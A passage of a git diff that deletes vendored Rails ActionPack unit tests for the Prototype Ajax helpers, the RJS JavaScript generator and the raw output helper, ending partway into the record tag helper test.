-          url << "?a=#{options[:a]}" if options && options[:a]
-          url << "&b=#{options[:b]}" if options && options[:a] && options[:b]
-          url
-        end
-      end
-    end.new
-  end
-
-  protected
-    def request_forgery_protection_token
-      nil
-    end
-
-    def protect_against_forgery?
-      false
-    end
-
-    def create_generator
-      block = Proc.new { |*args| yield *args if block_given? }
-      JavaScriptGenerator.new self, &block
-    end
-end
-
-class PrototypeHelperTest < PrototypeHelperBaseTest
-  def setup
-    @record = @author = Author.new
-    @article = Article.new
-    super
-  end
-
-  def test_link_to_remote
-    assert_dom_equal %(<a class=\"fine\" href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true}); return false;\">Remote outauthor</a>),
-      link_to_remote("Remote outauthor", { :url => { :action => "whatnot"  }}, { :class => "fine"  })
-    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onComplete:function(request){alert(request.responseText)}}); return false;\">Remote outauthor</a>),
-      link_to_remote("Remote outauthor", :complete => "alert(request.responseText)", :url => { :action => "whatnot"  })
-    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onSuccess:function(request){alert(request.responseText)}}); return false;\">Remote outauthor</a>),
-      link_to_remote("Remote outauthor", :success => "alert(request.responseText)", :url => { :action => "whatnot"  })
-    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onFailure:function(request){alert(request.responseText)}}); return false;\">Remote outauthor</a>),
-      link_to_remote("Remote outauthor", :failure => "alert(request.responseText)", :url => { :action => "whatnot"  })
-    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot?a=10&amp;b=20', {asynchronous:true, evalScripts:true, onFailure:function(request){alert(request.responseText)}}); return false;\">Remote outauthor</a>),
-      link_to_remote("Remote outauthor", :failure => "alert(request.responseText)", :url => { :action => "whatnot", :a => '10', :b => '20' })
-    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:false, evalScripts:true}); return false;\">Remote outauthor</a>),
-      link_to_remote("Remote outauthor", :url => { :action => "whatnot" }, :type => :synchronous)
-    assert_dom_equal %(<a href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, insertion:'bottom'}); return false;\">Remote outauthor</a>),
-      link_to_remote("Remote outauthor", :url => { :action => "whatnot" }, :position => :bottom)
-  end
-
-  def test_link_to_remote_html_options
-    assert_dom_equal %(<a class=\"fine\" href=\"#\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true}); return false;\">Remote outauthor</a>),
-      link_to_remote("Remote outauthor", { :url => { :action => "whatnot"  }, :html => { :class => "fine" } })
-  end
-
-  def test_link_to_remote_url_quote_escaping
-    assert_dom_equal %(<a href="#" onclick="new Ajax.Request('http://www.example.com/whatnot\\\'s', {asynchronous:true, evalScripts:true}); return false;">Remote</a>),
-      link_to_remote("Remote", { :url => { :action => "whatnot's" } })
-  end
-
-  def test_button_to_remote
-    assert_dom_equal %(<input class=\"fine\" type=\"button\" value=\"Remote outpost\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true});\" />),
-      button_to_remote("Remote outpost", { :url => { :action => "whatnot"  }}, { :class => "fine"  })
-    assert_dom_equal %(<input type=\"button\" value=\"Remote outpost\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onComplete:function(request){alert(request.reponseText)}});\" />),
-      button_to_remote("Remote outpost", :complete => "alert(request.reponseText)", :url => { :action => "whatnot"  })
-    assert_dom_equal %(<input type=\"button\" value=\"Remote outpost\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onSuccess:function(request){alert(request.reponseText)}});\" />),
-      button_to_remote("Remote outpost", :success => "alert(request.reponseText)", :url => { :action => "whatnot"  })
-    assert_dom_equal %(<input type=\"button\" value=\"Remote outpost\" onclick=\"new Ajax.Request('http://www.example.com/whatnot', {asynchronous:true, evalScripts:true, onFailure:function(request){alert(request.reponseText)}});\" />),
-      button_to_remote("Remote outpost", :failure => "alert(request.reponseText)", :url => { :action => "whatnot"  })
-    assert_dom_equal %(<input type=\"button\" value=\"Remote outpost\" onclick=\"new Ajax.Request('http://www.example.com/whatnot?a=10&amp;b=20', {asynchronous:true, evalScripts:true, onFailure:function(request){alert(request.reponseText)}});\" />),
-      button_to_remote("Remote outpost", :failure => "alert(request.reponseText)", :url => { :action => "whatnot", :a => '10', :b => '20' })
-  end
-
-  def test_periodically_call_remote
-    assert_dom_equal %(<script type="text/javascript">\n//<![CDATA[\nnew PeriodicalExecuter(function() {new Ajax.Updater('schremser_bier', 'http://www.example.com/mehr_bier', {asynchronous:true, evalScripts:true})}, 10)\n//]]>\n</script>),
-      periodically_call_remote(:update => "schremser_bier", :url => { :action => "mehr_bier" })
-  end
-
-  def test_periodically_call_remote_with_frequency
-    assert_dom_equal(
-      "<script type=\"text/javascript\">\n//<![CDATA[\nnew PeriodicalExecuter(function() {new Ajax.Request('http://www.example.com/', {asynchronous:true, evalScripts:true})}, 2)\n//]]>\n</script>",
-      periodically_call_remote(:frequency => 2)
-    )
-  end
-
-  def test_form_remote_tag
-    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\">),
-      form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  })
-    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({success:'glass_of_beer'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\">),
-      form_remote_tag(:update => { :success => "glass_of_beer" }, :url => { :action => :fast  })
-    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({failure:'glass_of_water'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\">),
-      form_remote_tag(:update => { :failure => "glass_of_water" }, :url => { :action => :fast  })
-    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({success:'glass_of_beer',failure:'glass_of_water'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\">),
-      form_remote_tag(:update => { :success => 'glass_of_beer', :failure => "glass_of_water" }, :url => { :action => :fast  })
-  end
-
-  def test_form_remote_tag_with_method
-    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\"><div style='margin:0;padding:0;display:inline'><input name='_method' type='hidden' value='put' /></div>),
-      form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, :html => { :method => :put })
-  end
-
-  def test_form_remote_tag_with_block_in_erb
-    __in_erb_template = ''
-    form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }) { concat "Hello world!" }
-    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;\">Hello world!</form>), output_buffer
-  end
-
-  def test_remote_form_for_with_record_identification_with_new_record
-    remote_form_for(@record, {:html => { :id => 'create-author' }}) {}
-
-    expected = %(<form action='#{authors_path}' onsubmit="new Ajax.Request('#{authors_path}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='new_author' id='create-author' method='post'></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_remote_form_for_with_record_identification_without_html_options
-    remote_form_for(@record) {}
-
-    expected = %(<form action='#{authors_path}' onsubmit="new Ajax.Request('#{authors_path}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='new_author' method='post' id='new_author'></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_remote_form_for_with_record_identification_with_existing_record
-    @record.save
-    remote_form_for(@record) {}
-
-    expected = %(<form action='#{author_path(@record)}' id='edit_author_1' method='post' onsubmit="new Ajax.Request('#{author_path(@record)}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='edit_author'><div style='margin:0;padding:0;display:inline'><input name='_method' type='hidden' value='put' /></div></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_remote_form_for_with_new_object_in_list
-    remote_form_for([@author, @article]) {}
-
-    expected = %(<form action='#{author_articles_path(@author)}' onsubmit="new Ajax.Request('#{author_articles_path(@author)}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='new_article' method='post' id='new_article'></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_remote_form_for_with_existing_object_in_list
-    @author.save
-    @article.save
-    remote_form_for([@author, @article]) {}
-
-    expected = %(<form action='#{author_article_path(@author, @article)}' id='edit_article_1' method='post' onsubmit="new Ajax.Request('#{author_article_path(@author, @article)}', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;" class='edit_article'><div style='margin:0;padding:0;display:inline'><input name='_method' type='hidden' value='put' /></div></form>)
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_on_callbacks
-    callbacks = [:uninitialized, :loading, :loaded, :interactive, :complete, :success, :failure]
-    callbacks.each do |callback|
-      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on#{callback.to_s.capitalize}:function(request){monkeys();}, parameters:Form.serialize(this)}); return false;">),
-        form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, callback=>"monkeys();")
-      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({success:'glass_of_beer'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on#{callback.to_s.capitalize}:function(request){monkeys();}, parameters:Form.serialize(this)}); return false;">),
-        form_remote_tag(:update => { :success => "glass_of_beer" }, :url => { :action => :fast  }, callback=>"monkeys();")
-      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({failure:'glass_of_beer'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on#{callback.to_s.capitalize}:function(request){monkeys();}, parameters:Form.serialize(this)}); return false;">),
-        form_remote_tag(:update => { :failure => "glass_of_beer" }, :url => { :action => :fast  }, callback=>"monkeys();")
-      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater({success:'glass_of_beer',failure:'glass_of_water'}, 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on#{callback.to_s.capitalize}:function(request){monkeys();}, parameters:Form.serialize(this)}); return false;">),
-        form_remote_tag(:update => { :success => "glass_of_beer", :failure => "glass_of_water" }, :url => { :action => :fast  }, callback=>"monkeys();")
-    end
-
-    #HTTP status codes 200 up to 599 have callbacks
-    #these should work
-    100.upto(599) do |callback|
-      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on#{callback.to_s.capitalize}:function(request){monkeys();}, parameters:Form.serialize(this)}); return false;">),
-        form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, callback=>"monkeys();")
-    end
-
-    #test 200 and 404
-    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on200:function(request){monkeys();}, on404:function(request){bananas();}, parameters:Form.serialize(this)}); return false;">),
-      form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, 200=>"monkeys();", 404=>"bananas();")
-
-    #these shouldn't
-    1.upto(99) do |callback|
-      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;">),
-        form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, callback=>"monkeys();")
-    end
-    600.upto(999) do |callback|
-      assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this)}); return false;">),
-        form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, callback=>"monkeys();")
-    end
-
-    #test ultimate combo
-    assert_dom_equal %(<form action=\"http://www.example.com/fast\" method=\"post\" onsubmit=\"new Ajax.Updater('glass_of_beer', 'http://www.example.com/fast', {asynchronous:true, evalScripts:true, on200:function(request){monkeys();}, on404:function(request){bananas();}, onComplete:function(request){c();}, onFailure:function(request){f();}, onLoading:function(request){c1()}, onSuccess:function(request){s()}, parameters:Form.serialize(this)}); return false;\">),
-      form_remote_tag(:update => "glass_of_beer", :url => { :action => :fast  }, :loading => "c1()", :success => "s()", :failure => "f();", :complete => "c();", 200=>"monkeys();", 404=>"bananas();")
-
-  end
-
-  def test_submit_to_remote
-    assert_dom_equal %(<input name=\"More beer!\" onclick=\"new Ajax.Updater('empty_bottle', 'http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:Form.serialize(this.form)});\" type=\"button\" value=\"1000000\" />),
-      submit_to_remote("More beer!", 1_000_000, :update => "empty_bottle")
-  end
-
-  def test_observe_field
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Element.Observer('glass', 300, function(element, value) {new Ajax.Request('http://www.example.com/reorder_if_empty', {asynchronous:true, evalScripts:true, parameters:value})})\n//]]>\n</script>),
-      observe_field("glass", :frequency => 5.minutes, :url => { :action => "reorder_if_empty" })
-  end
-
-  def test_observe_field_using_with_option
-    expected = %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Element.Observer('glass', 300, function(element, value) {new Ajax.Request('http://www.example.com/check_value', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(value)})})\n//]]>\n</script>)
-    assert_dom_equal expected, observe_field("glass", :frequency => 5.minutes, :url => { :action => "check_value" }, :with => 'id')
-    assert_dom_equal expected, observe_field("glass", :frequency => 5.minutes, :url => { :action => "check_value" }, :with => "'id=' + encodeURIComponent(value)")
-  end
-
-  def test_observe_field_using_json_in_with_option
-    expected = %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Element.Observer('glass', 300, function(element, value) {new Ajax.Request('http://www.example.com/check_value', {asynchronous:true, evalScripts:true, parameters:{'id':value}})})\n//]]>\n</script>)
-    assert_dom_equal expected, observe_field("glass", :frequency => 5.minutes, :url => { :action => "check_value" }, :with => "{'id':value}")
-  end
-
-  def test_observe_field_using_function_for_callback
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Element.Observer('glass', 300, function(element, value) {alert('Element changed')})\n//]]>\n</script>),
-      observe_field("glass", :frequency => 5.minutes, :function => "alert('Element changed')")
-  end
-
-  def test_observe_form
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Observer('cart', 2, function(element, value) {new Ajax.Request('http://www.example.com/cart_changed', {asynchronous:true, evalScripts:true, parameters:value})})\n//]]>\n</script>),
-      observe_form("cart", :frequency => 2, :url => { :action => "cart_changed" })
-  end
-
-  def test_observe_form_using_function_for_callback
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Observer('cart', 2, function(element, value) {alert('Form changed')})\n//]]>\n</script>),
-      observe_form("cart", :frequency => 2, :function => "alert('Form changed')")
-  end
-
-  def test_observe_field_without_frequency
-    assert_dom_equal %(<script type=\"text/javascript\">\n//<![CDATA[\nnew Form.Element.EventObserver('glass', function(element, value) {new Ajax.Request('http://www.example.com/', {asynchronous:true, evalScripts:true, parameters:value})})\n//]]>\n</script>),
-      observe_field("glass")
-  end
-
-  def test_update_page
-    old_output_buffer = output_buffer
-
-    block = Proc.new { |page| page.replace_html('foo', 'bar') }
-    assert_equal create_generator(&block).to_s, update_page(&block)
-
-    assert_equal old_output_buffer, output_buffer
-  end
-
-  def test_update_page_tag
-    block = Proc.new { |page| page.replace_html('foo', 'bar') }
-    assert_equal javascript_tag(create_generator(&block).to_s), update_page_tag(&block)
-  end
-
-  def test_update_page_tag_with_html_options
-    block = Proc.new { |page| page.replace_html('foo', 'bar') }
-    assert_equal javascript_tag(create_generator(&block).to_s, {:defer => 'true'}), update_page_tag({:defer => 'true'}, &block)
-  end
-
-
-  protected
-    def author_path(record)
-      "/authors/#{record.id}"
-    end
-
-    def authors_path
-      "/authors"
-    end
-
-    def author_articles_path(author)
-      "/authors/#{author.id}/articles"
-    end
-
-    def author_article_path(author, article)
-      "/authors/#{author.id}/articles/#{article.id}"
-    end
-end
-
-class JavaScriptGeneratorTest < PrototypeHelperBaseTest
-  def setup
-    super
-    @generator = create_generator
-  end
-
-  def test_insert_html_with_string
-    assert_equal 'Element.insert("element", { top: "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E" });',
-      @generator.insert_html(:top, 'element', '<p>This is a test</p>')
-    assert_equal 'Element.insert("element", { bottom: "\\u003Cp\u003EThis is a test\\u003C/p\u003E" });',
-      @generator.insert_html(:bottom, 'element', '<p>This is a test</p>')
-    assert_equal 'Element.insert("element", { before: "\\u003Cp\u003EThis is a test\\u003C/p\u003E" });',
-      @generator.insert_html(:before, 'element', '<p>This is a test</p>')
-    assert_equal 'Element.insert("element", { after: "\\u003Cp\u003EThis is a test\\u003C/p\u003E" });',
-      @generator.insert_html(:after, 'element', '<p>This is a test</p>')
-  end
-
-  def test_replace_html_with_string
-    assert_equal 'Element.update("element", "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E");',
-      @generator.replace_html('element', '<p>This is a test</p>')
-  end
-
-  def test_replace_element_with_string
-    assert_equal 'Element.replace("element", "\\u003Cdiv id=\"element\"\\u003E\\u003Cp\\u003EThis is a test\\u003C/p\\u003E\\u003C/div\\u003E");',
-      @generator.replace('element', '<div id="element"><p>This is a test</p></div>')
-  end
-
-  def test_remove
-    assert_equal 'Element.remove("foo");',
-      @generator.remove('foo')
-    assert_equal '["foo","bar","baz"].each(Element.remove);',
-      @generator.remove('foo', 'bar', 'baz')
-  end
-
-  def test_show
-    assert_equal 'Element.show("foo");',
-      @generator.show('foo')
-    assert_equal '["foo","bar","baz"].each(Element.show);',
-      @generator.show('foo', 'bar', 'baz')
-  end
-
-  def test_hide
-    assert_equal 'Element.hide("foo");',
-      @generator.hide('foo')
-    assert_equal '["foo","bar","baz"].each(Element.hide);',
-      @generator.hide('foo', 'bar', 'baz')
-  end
-
-  def test_toggle
-    assert_equal 'Element.toggle("foo");',
-      @generator.toggle('foo')
-    assert_equal '["foo","bar","baz"].each(Element.toggle);',
-      @generator.toggle('foo', 'bar', 'baz')
-  end
-
-  def test_alert
-    assert_equal 'alert("hello");', @generator.alert('hello')
-  end
-
-  def test_redirect_to
-    assert_equal 'window.location.href = "http://www.example.com/welcome";',
-      @generator.redirect_to(:action => 'welcome')
-    assert_equal 'window.location.href = "http://www.example.com/welcome?a=b&c=d";',
-      @generator.redirect_to("http://www.example.com/welcome?a=b&c=d")
-  end
-
-  def test_reload
-    assert_equal 'window.location.reload();',
-      @generator.reload
-  end
-
-  def test_delay
-    @generator.delay(20) do
-      @generator.hide('foo')
-    end
-
-    assert_equal "setTimeout(function() {\n;\nElement.hide(\"foo\");\n}, 20000);", @generator.to_s
-  end
-
-  def test_to_s
-    @generator.insert_html(:top, 'element', '<p>This is a test</p>')
-    @generator.insert_html(:bottom, 'element', '<p>This is a test</p>')
-    @generator.remove('foo', 'bar')
-    @generator.replace_html('baz', '<p>This is a test</p>')
-
-    assert_equal <<-EOS.chomp, @generator.to_s
-Element.insert("element", { top: "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E" });
-Element.insert("element", { bottom: "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E" });
-["foo","bar"].each(Element.remove);
-Element.update("baz", "\\u003Cp\\u003EThis is a test\\u003C/p\\u003E");
-    EOS
-  end
-
-  def test_element_access
-    assert_equal %($("hello");), @generator['hello']
-  end
-
-  def test_element_access_on_records
-    assert_equal %($("bunny_5");),   @generator[Bunny.new(:id => 5)]
-    assert_equal %($("new_bunny");), @generator[Bunny.new]
-  end
-
-  def test_element_proxy_one_deep
-    @generator['hello'].hide
-    assert_equal %($("hello").hide();), @generator.to_s
-  end
-
-  def test_element_proxy_variable_access
-    @generator['hello']['style']
-    assert_equal %($("hello").style;), @generator.to_s
-  end
-
-  def test_element_proxy_variable_access_with_assignment
-    @generator['hello']['style']['color'] = 'red'
-    assert_equal %($("hello").style.color = "red";), @generator.to_s
-  end
-
-  def test_element_proxy_assignment
-    @generator['hello'].width = 400
-    assert_equal %($("hello").width = 400;), @generator.to_s
-  end
-
-  def test_element_proxy_two_deep
-    @generator['hello'].hide("first").clean_whitespace
-    assert_equal %($("hello").hide("first").cleanWhitespace();), @generator.to_s
-  end
-
-  def test_select_access
-    assert_equal %($$("div.hello");), @generator.select('div.hello')
-  end
-
-  def test_select_proxy_one_deep
-    @generator.select('p.welcome b').first.hide
-    assert_equal %($$("p.welcome b").first().hide();), @generator.to_s
-  end
-
-  def test_visual_effect
-    assert_equal %(new Effect.Puff("blah",{});),
-      @generator.visual_effect(:puff,'blah')
-  end
-
-  def test_visual_effect_toggle
-    assert_equal %(Effect.toggle("blah",'appear',{});),
-      @generator.visual_effect(:toggle_appear,'blah')
-  end
-
-  def test_sortable
-    assert_equal %(Sortable.create("blah", {onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:Sortable.serialize("blah")})}});),
-      @generator.sortable('blah', :url => { :action => "order" })
-    assert_equal %(Sortable.create("blah", {onUpdate:function(){new Ajax.Request('http://www.example.com/order', {asynchronous:false, evalScripts:true, parameters:Sortable.serialize("blah")})}});),
-      @generator.sortable('blah', :url => { :action => "order" }, :type => :synchronous)
-  end
-
-  def test_draggable
-    assert_equal %(new Draggable("blah", {});),
-      @generator.draggable('blah')
-  end
-
-  def test_drop_receiving
-    assert_equal %(Droppables.add("blah", {onDrop:function(element){new Ajax.Request('http://www.example.com/order', {asynchronous:true, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}});),
-      @generator.drop_receiving('blah', :url => { :action => "order" })
-    assert_equal %(Droppables.add("blah", {onDrop:function(element){new Ajax.Request('http://www.example.com/order', {asynchronous:false, evalScripts:true, parameters:'id=' + encodeURIComponent(element.id)})}});),
-      @generator.drop_receiving('blah', :url => { :action => "order" }, :type => :synchronous)
-  end
-
-  def test_collection_first_and_last
-    @generator.select('p.welcome b').first.hide()
-    @generator.select('p.welcome b').last.show()
-    assert_equal <<-EOS.strip, @generator.to_s
-$$("p.welcome b").first().hide();
-$$("p.welcome b").last().show();
-      EOS
-  end
-
-  def test_collection_proxy_with_each
-    @generator.select('p.welcome b').each do |value|
-      value.remove_class_name 'selected'
-    end
-    @generator.select('p.welcome b').each do |value, index|
-      @generator.visual_effect :highlight, value
-    end
-    assert_equal <<-EOS.strip, @generator.to_s
-$$("p.welcome b").each(function(value, index) {
-value.removeClassName("selected");
-});
-$$("p.welcome b").each(function(value, index) {
-new Effect.Highlight(value,{});
-});
-      EOS
-  end
-
-  def test_collection_proxy_on_collect
-    @generator.select('p').collect('a') { |para| para.show }
-    @generator.select('p').collect { |para| para.hide }
-    assert_equal <<-EOS.strip, @generator.to_s
-var a = $$("p").collect(function(value, index) {
-return value.show();
-});
-$$("p").collect(function(value, index) {
-return value.hide();
-});
-    EOS
-    @generator = create_generator
-  end
-
-  def test_collection_proxy_with_grep
-    @generator.select('p').grep 'a', /^a/ do |value|
-      @generator << '(value.className == "welcome")'
-    end
-    @generator.select('p').grep 'b', /b$/ do |value, index|
-      @generator.call 'alert', value
-      @generator << '(value.className == "welcome")'
-    end
-
-    assert_equal <<-EOS.strip, @generator.to_s
-var a = $$("p").grep(/^a/, function(value, index) {
-return (value.className == "welcome");
-});
-var b = $$("p").grep(/b$/, function(value, index) {
-alert(value);
-return (value.className == "welcome");
-});
-    EOS
-  end
-
-  def test_collection_proxy_with_inject
-    @generator.select('p').inject 'a', [] do |memo, value|
-      @generator << '(value.className == "welcome")'
-    end
-    @generator.select('p').inject 'b', nil do |memo, value, index|
-      @generator.call 'alert', memo
-      @generator << '(value.className == "welcome")'
-    end
-
-    assert_equal <<-EOS.strip, @generator.to_s
-var a = $$("p").inject([], function(memo, value, index) {
-return (value.className == "welcome");
-});
-var b = $$("p").inject(null, function(memo, value, index) {
-alert(memo);
-return (value.className == "welcome");
-});
-    EOS
-  end
-
-  def test_collection_proxy_with_pluck
-    @generator.select('p').pluck('a', 'className')
-    assert_equal %(var a = $$("p").pluck("className");), @generator.to_s
-  end
-
-  def test_collection_proxy_with_zip
-    ActionView::Helpers::JavaScriptCollectionProxy.new(@generator, '[1, 2, 3]').zip('a', [4, 5, 6], [7, 8, 9])
-    ActionView::Helpers::JavaScriptCollectionProxy.new(@generator, '[1, 2, 3]').zip('b', [4, 5, 6], [7, 8, 9]) do |array|
-      @generator.call 'array.reverse'
-    end
-
-    assert_equal <<-EOS.strip, @generator.to_s
-var a = [1, 2, 3].zip([4,5,6], [7,8,9]);
-var b = [1, 2, 3].zip([4,5,6], [7,8,9], function(array) {
-return array.reverse();
-});
-    EOS
-  end
-
-  def test_collection_proxy_with_find_all
-    @generator.select('p').find_all 'a' do |value, index|
-      @generator << '(value.className == "welcome")'
-    end
-
-    assert_equal <<-EOS.strip, @generator.to_s
-var a = $$("p").findAll(function(value, index) {
-return (value.className == "welcome");
-});
-    EOS
-  end
-
-  def test_collection_proxy_with_in_groups_of
-    @generator.select('p').in_groups_of('a', 3)
-    @generator.select('p').in_groups_of('a', 3, 'x')
-    assert_equal <<-EOS.strip, @generator.to_s
-var a = $$("p").inGroupsOf(3);
-var a = $$("p").inGroupsOf(3, "x");
-    EOS
-  end
-
-  def test_collection_proxy_with_each_slice
-    @generator.select('p').each_slice('a', 3)
-    @generator.select('p').each_slice('a', 3) do |group, index|
-      group.reverse
-    end
-
-    assert_equal <<-EOS.strip, @generator.to_s
-var a = $$("p").eachSlice(3);
-var a = $$("p").eachSlice(3, function(value, index) {
-return value.reverse();
-});
-    EOS
-  end
-
-  def test_debug_rjs
-    ActionView::Base.debug_rjs = true
-    @generator['welcome'].replace_html 'Welcome'
-    assert_equal "try {\n$(\"welcome\").update(\"Welcome\");\n} catch (e) { alert('RJS error:\\n\\n' + e.toString()); alert('$(\\\"welcome\\\").update(\\\"Welcome\\\");'); throw e }", @generator.to_s
-  ensure
-    ActionView::Base.debug_rjs = false
-  end
-
-  def test_literal
-    literal = @generator.literal("function() {}")
-    assert_equal "function() {}", ActiveSupport::JSON.encode(literal)
-    assert_equal "", @generator.to_s
-  end
-
-  def test_class_proxy
-    @generator.form.focus('my_field')
-    assert_equal "Form.focus(\"my_field\");", @generator.to_s
-  end
-
-  def test_call_with_block
-    @generator.call(:before)
-    @generator.call(:my_method) do |p|
-      p[:one].show
-      p[:two].hide
-    end
-    @generator.call(:in_between)
-    @generator.call(:my_method_with_arguments, true, "hello") do |p|
-      p[:three].visual_effect(:highlight)
-    end
-    assert_equal "before();\nmy_method(function() { $(\"one\").show();\n$(\"two\").hide(); });\nin_between();\nmy_method_with_arguments(true, \"hello\", function() { $(\"three\").visualEffect(\"highlight\"); });", @generator.to_s
-  end
-
-  def test_class_proxy_call_with_block
-    @generator.my_object.my_method do |p|
-      p[:one].show
-      p[:two].hide
-    end
-    assert_equal "MyObject.myMethod(function() { $(\"one\").show();\n$(\"two\").hide(); });", @generator.to_s
-  end
-end
-
diff --git a/vendor/rails/actionpack/test/template/raw_output_helper_test.rb b/vendor/rails/actionpack/test/template/raw_output_helper_test.rb
deleted file mode 100644
index 598aa5b1..00000000
--- a/vendor/rails/actionpack/test/template/raw_output_helper_test.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-require 'abstract_unit'
-require 'testing_sandbox'
-
-class RawOutputHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::RawOutputHelper
-  include TestingSandbox
-
-  def setup
-    @string = "hello"
-  end
-
-  test "raw returns the safe string" do
-    result = raw(@string)
-    assert_equal @string, result
-    assert result.html_safe?
-  end
-
-  test "raw handles nil values correctly" do
-    assert_equal "", raw(nil)
-  end
-end
\ No newline at end of file
diff --git a/vendor/rails/actionpack/test/template/record_tag_helper_test.rb b/vendor/rails/actionpack/test/template/record_tag_helper_test.rb
deleted file mode 100644
index 67aa0477..00000000
--- a/vendor/rails/actionpack/test/template/record_tag_helper_test.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-require 'abstract_unit'
-
-class Post
-  def id
-     45
-  end
-  def body
-    "What a wonderful world!"
-  end
-end
-
-class RecordTagHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::RecordTagHelper
-
-  def setup
-    @post = Post.new
-  end
-
-  def test_content_tag_for
-    expected = %(<li class="post bar" id="post_45"></li>)
-    actual = content_tag_for(:li, @post, :class => 'bar') { }
-    assert_dom_equal expected, actual
-  end
-
-  def test_content_tag_for_prefix
